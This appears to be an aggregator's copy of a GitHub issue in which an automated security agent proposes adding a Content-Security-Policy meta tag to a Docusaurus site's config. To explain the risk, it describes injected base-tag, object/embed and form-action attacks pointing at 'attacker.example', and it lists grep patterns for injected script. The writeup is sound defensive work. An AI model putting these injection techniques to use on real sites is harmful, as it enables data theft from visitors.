[sec-check] Published site ships no Content-Security-Policy: an injected base tag would repoint every relative URL (docusaurus.config.js headTags)
Nobody has claimed this yet.
Assessment
- Difficulty
- 1/5
- Estimated time
- Under an hour
- Newbie friendliness
- 85/100
- Issue type
- Bug
- Clarity
- Clearly specified
- Activity status
- Active
- Tech stack
- javascript
Research direction
Open docusaurus.config.js and inspect the existing headTags array, including the manifest, apple-touch-icon, and application/ld+json entries. Check the generated site after the change and confirm that headTags contains a Content-Security-Policy meta tag with base-uri 'self', object-src 'none', and form-action 'self'.
Written by the indexing model from the issue text.
Description
Security Finding
Severity: low
Type: unsafe-pattern (missing defense-in-depth / hardening)
Cluster: docusaurus.config.js -> headTags (site-wide response hardening). No other open issue or PR claims this file.
docusaurus.config.js declares three headTags entries — the web manifest link, the apple-touch-icon link, and an application/ld+json Organization block — and no security policy of any kind. The published site therefore ships with no Content-Security-Policy, and GitHub Pages (the deploy target in .github/workflows/deploy-gh-pages.yml) cannot add response headers, so a meta http-equiv tag in headTags is the only place this site can express one.
That matters here because this site renders a large amount of content it does not author:
docs/architectures/*.mdis regenerated fromgithub.com/cncf/architecturebyscripts/import-architectures.mjsand compiled as MDX (#211).static/img/architectures/**is mirrored verbatim from the same upstream (#194, #322).data/metrics.json,data/awards.json,data/members.jsonanddata/community-people.jsonsupplyhrefandsrcvalues that are rendered directly bysrc/components/.
Those individual sinks are being fixed one at a time. What is missing is the layer underneath them: if any single gate is bypassed, nothing constrains what the injected markup can then do.
Impact
With no policy present, injected markup on any page can:
- Hijack every relative URL on the page by injecting a
basetag pointing athttps://attacker.example/. Docusaurus emits relative asset and navigation URLs, so a singlebasetag redirects the site's own script and link targets to an attacker origin. This is the highest-value escalation of any of the stored-injection findings above, and it needs no inline script at all. - Load a plugin document via
<object data="...">or<embed src="...">, which renders attacker content inside theendusers.cncf.ioorigin. - Exfiltrate a submitted form to an arbitrary origin via an injected
<form action="https://attacker.example/">.
None of these are currently reachable — the live content is clean, verified by grepping docs/, blog/ and static/img/architectures/ for <script, <iframe, <object, <embed, javascript: and on*= handlers, which returns nothing. This is a missing mitigation, not a live exploit, which is why it is filed as low.
Recommendation
Add a fourth entry to the existing headTags array in docusaurus.config.js, immediately before the application/ld+json entry:
{
tagName: 'meta',
attributes: {
'http-equiv': 'Content-Security-Policy',
// Defence in depth for content this site does not author: architecture
// MDX and image assets are mirrored from cncf/architecture, and several
// data/*.json files supply href and src values rendered by src/components.
// These three directives need no allowance for inline or bundled script,
// so they hold without constraining Docusaurus hydration or local search.
content: [
"base-uri 'self'",
"object-src 'none'",
"form-action 'self'",
].join('; '),
},
},
Scope is deliberate. base-uri, object-src and form-action are the three directives that require no script-src allowance, so they cannot break Docusaurus hydration, the theme-switch inline script, the application/ld+json block, or docusaurus-plugin-search-local. A script-src directive is not proposed: Docusaurus emits inline bootstrap scripts, so any script-src this site could actually ship would need 'unsafe-inline', which would provide no XSS protection while creating the false impression that it does.
Note that frame-ancestors is deliberately absent: browsers ignore it when delivered via a meta http-equiv tag, so clickjacking cannot be addressed from this file. That needs a response header and therefore a different hosting arrangement; it is out of scope here and is not claimed by this issue.
Completion criterion
-
docusaurus.config.jsheadTagscontains aContent-Security-Policymeta tag settingbase-uri 'self',object-src 'none'andform-action 'self'.
Filed by sec-check agent (ACMM L4/L5 — hold-gated mode)
— hive: agent=sec-check backend=copilot model=claude-opus-5
- Dominant language
- JavaScript
- Stars
- 0
- Forks
- 2
- Avg merge
- 2d 22h
- Merged PRs (30d)
- 12
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from cncf/endusers
-
agent/security hive/hosted-available-lke648397-260827-5n31 security
Difficulty 2/5 1-3 hours Newbie friendliness 84/100
-
[scanner] PR #178 has zero linked issues — implements gov.yaml TAB integration requested by #163 Openagent/scanner bug hive/hosted-available-lke648397-260827-5n31
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
-
agent/scanner bug hive/hosted-available-lke648397-260827-5n31
Difficulty 1/5 Under an hour Newbie friendliness 88/100
-
agent/scanner bug hive/hosted-available-lke648397-260827-5n31
Difficulty 1/5 Under an hour Newbie friendliness 92/100
-
agent/quality hive/hosted-available-lke648397-260827-5n31 quality testing
Difficulty 2/5 1-3 hours Newbie friendliness 84/100
Similar issues
-
Difficulty 2/5 1-3 hours Newbie friendliness 88/100
HarperFast/skills#96 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
Automattic/studio#4908 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 74/100
-
Difficulty 2/5 1-3 hours Newbie friendliness 86/100
sugarlabs/musicblocks#8847 ·
-
client-controller-update ta-bot-triage team-money-movement
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
MetaMask/metamask-mobile#36594 ·